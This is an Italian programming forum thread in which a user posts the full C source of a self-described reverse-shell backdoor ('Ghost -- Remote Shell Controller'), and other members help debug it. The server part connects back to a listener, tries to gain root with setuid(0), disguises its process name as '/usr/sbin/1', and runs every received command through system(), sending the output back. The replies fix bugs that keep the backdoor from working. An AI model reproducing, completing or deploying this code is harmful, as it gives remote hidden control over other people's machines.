Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
C/C++ - Errore Backdoor in C
Forum - C/C++ - Errore Backdoor in C

Pagine: [ 1 2 ] Precedente | Prossimo
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 13:08
Venerdì, 16/12/2016
Salve a tutti sono nuovo in questo forum...e ho un problema secondo me stupido ma che io non riesco a venirne a capo.

Premetto che mi permetto di postare questo script perchè ho visto che anche altri utenti hanno chiesto consigli.. il mio è solo a scopo didattico e non voglio creare problemi a nessuno ma ho solo tanta voglia di capire come funzionano certe cose... detto questo spero che nessuno mi critichi per questi script...

Ritorniamo a noi...Come vi stavo dicendo ho un problema strano in pratica ho trovato una guida su come funzionano le backdoor e prendendo spunto da una backdoor base ho creato questa Backdoor reverse shell e fin qui ci siamo, la connessione avviene con successo l'unico problema è che quando gli invio un comando al server ad esempio "ls" mi da errore:

Codice sorgente - presumibilmente C/C++

  1. sh: $'\003': comando non trovato
  2. sh: bin/echo: No such file or directory



ho provato a cambiare un pò la variabile file perchè pensavo che non avessi i permessi giusti e quindi non me lo faceva aprire il file, ma niente non riesco a venirne a capo.... se qualcuno può aiutarmi ne sarei veramente grato


Lo script non lo posto ancora aspetto che qualcuno dia il consenso ^_^


Ultima modifica effettuata da ch4os il 16/12/2016 alle 13:09
PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 449
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 13:29
Venerdì, 16/12/2016
Metti il codice altrimenti non si capisce molto. Usi un sistema Unix-like?

PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 13:39
Venerdì, 16/12/2016
back.h
Codice sorgente - presumibilmente C++

  1. #ifndef MY_SOCK_H
  2. #define MY_SOCK_H
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/types.h>
  8. #include <sys/socket.h>
  9. #include <netinet/in.h>
  10. #include <arpa/inet.h>
  11. #include <unistd.h>
  12. #include <fcntl.h>
  13.  
  14. #define PORT    2106
  15. #define STATE_LEN       3
  16.  
  17. void addr_init(struct sockaddr_in *addr, int port, long ip)
  18. {
  19.         addr->sin_family = AF_INET;
  20.         addr->sin_port = htons(port);
  21.         addr->sin_addr.s_addr = ip;
  22. }
  23.  
  24. int fileLen(FILE *fp)
  25. {
  26.         char buff;
  27.         int len=0;
  28.  
  29.         rewind(fp);
  30.  
  31.         while(!feof(fp)){
  32.                 buff = fgetc(fp);
  33.                 len++;
  34.         }
  35.  
  36.         rewind(fp);
  37.         return len;
  38. }
  39.  
  40. char *readFile(char *file)
  41. {
  42.         FILE *fp;
  43.         int i;
  44.         char *buff;
  45.  
  46.         fp = fopen(file,"r");
  47.         buff = (char*) malloc(fileLen(fp)*sizeof(char));
  48.  
  49.         for (i=0; !feof(fp); i++)
  50.                 buff[i] = fgetc(fp);
  51.         buff[i-1]= '\0';
  52.         fclose(fp);
  53.         return buff;
  54. }
  55.  
  56. #endif



server.c

Codice sorgente - presumibilmente C++

  1. /* server.c */
  2.  
  3. #include "back.h"
  4.  
  5. int main(int argc, char **argv)
  6. {
  7.  
  8.         int sd, i;
  9.         char cmd[1000], new_cmd[1200], size[17], file[100];
  10.         FILE *fp;
  11.         struct sockaddr_in client,server;
  12.  
  13.  
  14.        
  15.         strcpy(argv[0],"/usr/sbin/1");
  16.         snprintf(file,100,"%s/.cmd",getenv("HOME"));
  17.         setuid(0); setgid(0);
  18.  
  19.  
  20.         addr_init(&server, PORT, inet_addr("127.0.0.1"));
  21.         sd = socket(AF_INET, SOCK_STREAM, 0);
  22.  
  23.         if(sd == -1){
  24.                 printf("Impossibile creare il socket\n");
  25.                 exit(1);
  26.         }
  27.         if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
  28.                 printf("Impossibile stabilire una connessione");
  29.                 close(sd);
  30.                 exit(2);
  31.         }
  32.  
  33.         printf("Connessione avvenuta con successo \n");
  34.  
  35.         for(;;) {
  36.                 if((read(sd, cmd, sizeof(cmd))) == -1)
  37.                         exit(1);
  38.  
  39.                 memset(new_cmd, 0x0, sizeof(new_cmd));
  40.                 snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
  41.                 system(new_cmd);
  42.  
  43.                 sprintf(size,"%d",strlen(readFile(file)));
  44.                 size[strlen(size)] = '\0';
  45.  
  46.                 if(!strcmp(size,"0"))
  47.                 {
  48.                         snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
  49.                         system(new_cmd);
  50.                         snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
  51.                 }
  52.                 if((write(sd, size, sizeof(size))) == -1)
  53.                         exit(1);
  54.                 if((write(sd,readFile(file), atoi(size))) == -1)
  55.                         exit(1);
  56.  
  57.                 unlink(file);
  58.  
  59.         }
  60.         close(sd);
  61.  
  62. }



client.c

Codice sorgente - presumibilmente C++

  1. /*client*/
  2.  
  3. #include "back.h"
  4. #define MAX_CONN        5
  5.  
  6. int main(int argc, char **argv)
  7. {
  8.  
  9.         int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
  10.         struct sockaddr_in client, server;
  11.         char *buff, cmd[1000], size[17];
  12.  
  13.         addr_init(&server, PORT, INADDR_ANY);
  14.         sd = socket(AF_INET, SOCK_STREAM, 0);
  15.  
  16.         if(sd == -1){
  17.                 printf("Impossibile creare il socket \n");
  18.                 exit(1);
  19.         }
  20.         if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
  21.                 printf("errore durante il bind\n");
  22.                 exit(2);
  23.         }
  24.         if((listen(sd,MAX_CONN)) == -1){
  25.                 printf("Errore nel listening\n");
  26.                 exit(3);
  27.         }
  28.         new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);
  29.  
  30.         if(new_sd == -1){
  31.                 printf("Errore accept\n");
  32.                 exit(4);
  33.  
  34.         }
  35.  
  36.         printf("________________________________________\n");
  37.         printf("   Ghost -- Remote Shell Controller     \n");
  38.         printf("   by Chaos, (C) 2016                   \n");
  39.         printf("________________________________________\n\n");
  40.  
  41.         printf("Connessione stabilita con successo\n");
  42.  
  43.         for(;;){
  44.                 printf("ch4os-sh3ll-root#: ");
  45.                 fgets(cmd, sizeof(cmd), stdin);
  46.                 cmd[strlen(cmd)-1] = '\0';
  47.  
  48.                 write(sd, cmd, sizeof(cmd));
  49.                 memset(cmd, 0x0, sizeof(cmd));
  50.  
  51.                 if((read(sd,size, sizeof(size))) == -1)
  52.                 {
  53.                         printf("Impossibile ricevere dati dal server\n");
  54.                         exit(1);
  55.                 }
  56.                 buff = (char*) malloc(atoi(size)*sizeof(char));
  57.  
  58.                 if((read(sd, buff, atoi(size))) == -1){
  59.                         printf("Impossibile riceve dati dal server..\n");
  60.                         exit(1);
  61.                 }
  62.                 printf("%s",buff);
  63.                 printf("\nComando inviato\n");
  64.         }
  65.  
  66.         close(sd);
  67.  
  68.  
  69. }



come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK

Ultima modifica effettuata da ch4os il 16/12/2016 alle 13:47
PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 449
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 14:31
Venerdì, 16/12/2016
In effetti come ti dice l'errore sh non trova bin/echo, semplicemente per il fatto che devi scrivere /bin/echo a meno che la working directory del tuo programma non sia la root directory (cosa che in generale non conviene assumere).
L'altro errore che ti dà non l'ho ancora rintracciato ma probabilmente si tratta di qualche carattere strano.

P.S. sposta PORT e STATE_LEN dentro server.c visto che li usi soltanto lì.

PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 15:06
Venerdì, 16/12/2016
grazie lumo sei stato molto gentile, ora provo a risolvere l'altro problema se riesco :\ cercherò di capire quale sia l'errore grazie ancora Iumo

-----EDIT-------
ragazzi non riesco a trovare niente su google riguardo questo problema ed il compilatore non mi da nessun errore per risolvere il prblema....
Ho provato a compilare con -Wall ed ho notato che in snprintf mi da errore

Codice sorgente - presumibilmente Delphi

  1. server.c:44:18: warning: format ‘%d’ expects argument of type ‘int’, but argument 3 has type ‘size_t {aka long unsigned int}’ [-Wformat=]
  2.    sprintf(size,"%d",strlen(readFile(file)));
  3.                   ^
  4. server.c:51:34: warning: format ‘%d’ expects argument of type ‘int’, but argument 4 has type ‘size_t {aka long unsigned int}’ [-Wformat=]
  5.     snprintf(size,sizeof(size), "%d", strlen(readFile(file)));


ho provato a cercare in google ed ho provato a cambiare la %d con %f, %s ma succede niente e mi da sempre lo stesso errore. Ora io mi domando, ho sbagliato io a impostare qualcosa o va bene pure così, e seconda domanda il problema per cui non riesco a far funzionare i comandi può dipendere da questo problema???????



Ultima modifica effettuata da ch4os il 16/12/2016 alle 17:35
PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 449
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 17:32
Venerdì, 16/12/2016
Cambia con %zd per togliere il warning ma non è quello il problema.

PM Quote
Avatar
ch4os (Normal User)
Newbie


Messaggi: 9
Iscritto: 16/12/2016

Segnala al moderatore
Postato alle 17:48
Venerdì, 16/12/2016
gia in effetti non e cambiato nulla...... :\ cavolo....non riesco a capire come potrei trovare la causa del problema non mi da nemmeno un'errore piu specifico...
pero pensando che l'errore è

Codice sorgente - presumibilmente Plain Text

  1. sh: $'\003': comando non trovato


leggendo da qua capisco che legge \033 ma da dove??? altrimenti mi avrebbe scritto $ ls : comando non trovato.... o sto facendo confusione??? puo darsi che quando legge il comando dal file temporaneo lo legge in byte e non converte il comando....o sto dicendo solo cavolate :P...in ogni caso sto facendo solo una gran confusione.....

PM Quote
Avatar
TheDarkJuster (Member)
Guru^2


Messaggi: 1620
Iscritto: 27/09/2013

Segnala al moderatore
Postato alle 19:16
Venerdì, 16/12/2016
Compila il programma con i flag -O0 -d.

Avvialo tramite https://www.sourceware.org/gdb/ e fai il debug.

Per comodità puoi usare un ide.....

PM Quote
Avatar
lumo (Member)
Expert


Messaggi: 449
Iscritto: 18/04/2010

Segnala al moderatore
Postato alle 21:01
Venerdì, 16/12/2016
Testo quotato

Postato originariamente da ch4os:

gia in effetti non e cambiato nulla...... :\ cavolo....non riesco a capire come potrei trovare la causa del problema non mi da nemmeno un'errore piu specifico...
pero pensando che l'errore è

Codice sorgente - presumibilmente Plain Text

  1. sh: $'\003': comando non trovato


leggendo da qua capisco che legge \033 ma da dove??? altrimenti mi avrebbe scritto $ ls : comando non trovato.... o sto facendo confusione??? puo darsi che quando legge il comando dal file temporaneo lo legge in byte e non converte il comando....o sto dicendo solo cavolate :P...in ogni caso sto facendo solo una gran confusione.....



Piazza un printf() su quello che passi a system, magari c'è qualcosa di sbagliato.

PM Quote
Pagine: [ 1 2 ] Precedente | Prossimo